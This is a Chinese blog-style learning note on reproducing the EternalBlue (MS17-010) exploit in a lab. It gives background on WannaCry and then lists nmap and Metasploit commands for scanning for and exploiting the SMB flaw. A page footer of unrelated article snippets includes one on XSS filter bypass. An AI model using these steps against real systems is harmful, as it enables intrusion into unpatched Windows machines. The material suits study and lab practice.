永恒之蓝(MS17-010)

2023-11-09

温馨提醒:纯水文,如果不幸翻到这篇文章,可以立刻关闭!

先整理两个学习的链接(本文学习第一个):
https://blog.csdn.net/weixin_44268918/article/details/125216308
https://blog.csdn.net/weixin_46145442/article/details/107419426utm_medium=distribute.pc_relevant.none-task-blog-2defaultbaidujs_baidulandingword~default-0-107419426-blog125216308.pc_relevant_multi_platform_whitelistv1&spm=1001.2101.3001.4242.1&utm_relevant_index=3

追溯了解(百度)

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
基于Windows网络共享协议进行攻击传播的蠕虫恶意代码

网络IP查找

ipconfig/all或者ipconfig
在这里插入图片描述

环境条件

两台主机能够互通通信,且靶机未打补丁以及开启445端口,关闭防火墙。虚拟机网络连接为桥接模式;
在这里插入图片描述
在这里插入图片描述

复现流程

没找到合适的主机,只能了解一下流程!(虚拟机下个win7就行,我当时傻…)

445端口

  1. 通过攻击机Kail的nmap进行端口扫描,通过扫描能够发现靶机的,445端口是否开启。命令为:nmap+靶机IP

使用MSF的永恒之蓝漏洞模块

1.打开MSF,命令为:msfconsole
在这里插入图片描述
2.搜索 ms17-010 代码(查找对应攻击模块),命令为:search ms17_010
在这里插入图片描述
0 exploit/windows/smb/ms17_010_eternalblue 是永恒之蓝攻击模块。
3 auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块。
一般先通过扫描模块对目标主机进行扫描判断是否存在漏洞,若存在漏洞再通过攻击模块进行攻击。

扫描模块

1.使用扫描模块对靶机进行扫描:命令为:use auxiliary/scanner/smb/smb_ms17_010
2.查看配置参数:命令为:set rhosts 192.168.20.10
3.执行扫描:命令为:run
通过扫描能够发现靶机可能会受到MS17-010的攻击。

攻击模块

1.使用攻击模块对靶机进行攻击:
命令为:use exploit/windows/smb/ms17_010_eternalblue
2.可以查看攻击模块能够攻击那些操作系统:
命令为:show targets
3.设置靶机或者目标IP:
命令为:set rhosts +靶机IP
执行攻击:命令为:exploit 或 run

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

永恒之蓝(MS17-010) 的相关文章

随机推荐

  • MATLAB---获取图像中的指定像素点的值(RGB图像)

    输入 clear all RGB imread 图片名 格式 r x1 y1 z1 指定像素点的横坐标 c x2 y2 z2 指定像素点的纵坐标 p impixel RGB r c 用impixel 函数来返回RGB图像的横纵坐标对应的像素
  • Java 使用枚举消除if else

    1 功能需求 if else判断时写代码过程中非常常见的 但是有些相对比较固定格式的if else判断却是我们可以尽可能避免的 其中 枚举的作用在我们消除if else代码快的作用非常大 那么 我们该如何实现呢 2 代码实现 定义枚举变量
  • 【54-Sentinel熔断、降级、限流的基本概念-Sentinel实战上手应用-actuator实时监控-Docker安装部署Sentinel教程-熔断降级实战练习-Sentinel自定义资源】

    一 知识回顾 0 三高商城系统的专题专栏都帮你整理好了 请点击这里 1 系统架构演进过程 2 微服务系统架构需求 3 高性能 高并发 高可用的三高商城系统项目介绍 4 Linux云服务器上安装Docker 5 Docker安装部署MySQL
  • Redis复习笔记

    Redis 是一个高性能的key value数据库 支持多种数据类型 String 可以是字符串 整数 浮点数 List 列表 一个链表 链表上的每个节点都包含一个字符串 Set 集合 包含字符串的无序收集器 并且被包含的每个字符串都是独一
  • Sharding-jdbc

    一 概念理解 垂直切分 包含垂直分库和垂直分表 1 1 垂直分库 专库专用 按照业务类型对表分类 1 2 垂直分表 基于数据表的列 字段 为依据切分的 是一种大表拆小表的模式 1 3 垂直切分优点 不同业务的数据进行独立维护 监控 扩展 在
  • 右键里没有新建txt文件选项 win7

    试试这个方法吧 win7的试过 成功 找个文本文档 复制一个 把里面的内容清空 改后缀为reg 点右键 编辑 把下面的内容复制进去 保存 然后双击导入注册表 Windows Registry Editor Version 5 00 HKEY
  • 建设一站式DevOps平台,腾讯云研发效能提升实践

    导语 近年来 研发效能提升越来越受到业界重视 许多厂商都在不断探索研发效能提升之路 从而实现研发效率和质量的持续优化 以应对日趋复杂的产品开发 那么腾讯云的研发效能相关工作是如何开展和落地的呢 今天我们特邀了腾讯云研发效能工作组负责人 腾讯
  • VirtualBox7.0

    文章目录 安装环境 记录目的 VirtualBox7 0安装及配置 VBox增强功能安装及共享文件夹配置 VBox增强功能安装 安装方法 共享文件夹建立 补充资料 更换系统源 anaconda安装 将bin路径加入系统path变量 增加源
  • FinClip 小程序原生页面要获取权限时该使用哪些接口?比uniapp更方便吗?

    概念 在小程序里面有一些权限需要小程序 微信 给予 比如用户手机号 运动步数 摄像头 通讯地址 iOS端 相机权限 二维码扫描接口 scanCode 选择图片接口 chooseImage 拍照 选择视频接口 chooseVideo 录像 C
  • xss绕过方法

    xss绕过方法 1 改变大小写 将大小写穿插编写 可以转换为 2 关闭标签 利用大于号 gt 关闭标签使得xss生效 gt 3 利用html标签触发事件 很多标签都可以对过滤进行绕过 格式 lt 标签 事件 执行语句 例如 p style
  • 汽车结构之仪表

    为了使驾驶员能够掌握汽车及各系统的工作情况 在汽车驾驶室内的仪表板上装有各种指示仪表 指示灯及各种报警信号装置 汽车上常用的仪表有车速里程表 发动机转速表 机油压力表 燃油表 冷却液温度 水温 表等 它们通常与各种信号灯一起安装在仪表板上
  • Fastjson出现$ref问题

    解决FastJson中 ref 循环引用检测 的问题的几种方式 一 现象 项目中用json形式来存储一个集合对象 用fastjson发现多了一些东西 ref 了解之后才发现是重复引用的问题 id 1 orderList id 2 date
  • gitlab配置与启动

    首先是初始化 命令 sudo gitlab ctl reconfigure 初始化后我们查看gitlab的启动状态 好了之后 我们只需去 etc gitlab gitlab rb文件中配置外部url及对应开放端口即可 如下 好的 配置完毕
  • 类加载学习

    一 类使用的7个阶段 类从被加载到虚拟机内存中开始 到卸载出内存 它的整个生命周期包括 加载 Loading 验证 Verification 准备 Preparation 解析 Resolution 初始化 Initiallization
  • Vue3.0 使用 axios访问本地 json文件并读取数据

    Vue3 0 vue cli4 5 访问本地 json文件并读取数据 使用 axios 首先要在对应的 vue cli4 5 项目下安装 axios 输入 npm install save axios 进行安装 npm install sa
  • 使用服务配置Config客户端获取不到yml文件下多级属性值Could not resolve placeholder ‘config.info‘ in value “${config.info}“

    使用服务配置Config客户端获取不到yml文件下多级属性值Could not resolve placeholder config info in value config info 问题 比如我这里想获取config下面的info信息
  • MySQL 索引底层为什么选择B+Tree

    MySQL 索引底层为什么选择B Tree
  • 16.5 C++智能指针-unique_ptr

    16 1 C 智能指针 new delete探秘 16 2 C 智能指针 shared ptr 16 3 C 智能指针 weak ptr 16 4 C 智能指针 shared ptr使用场景 陷阱 性能分析与使用建议 16 5 C 智能指针
  • 【网络安全】网络安全期末大题 复习题

    简答题 每小题10分 共10分 1 计算机操作系统还原的操作步骤一般有哪些 当电脑开机的时候 请尝试按下F8或f7 看电脑上显示F8还是F7 按方向下键选择 MaxDOS 备份 还原 维护系统 按方向下键选择 快速全自动备份还原系统 按 E
  • 永恒之蓝(MS17-010)

    目录 追溯了解 百度 网络IP查找 环境条件 复现流程 445端口 使用MSF的永恒之蓝漏洞模块 扫描模块 攻击模块 温馨提醒 纯水文 如果不幸翻到这篇文章 可以立刻关闭 先整理两个学习的链接 本文学习第一个 https blog csdn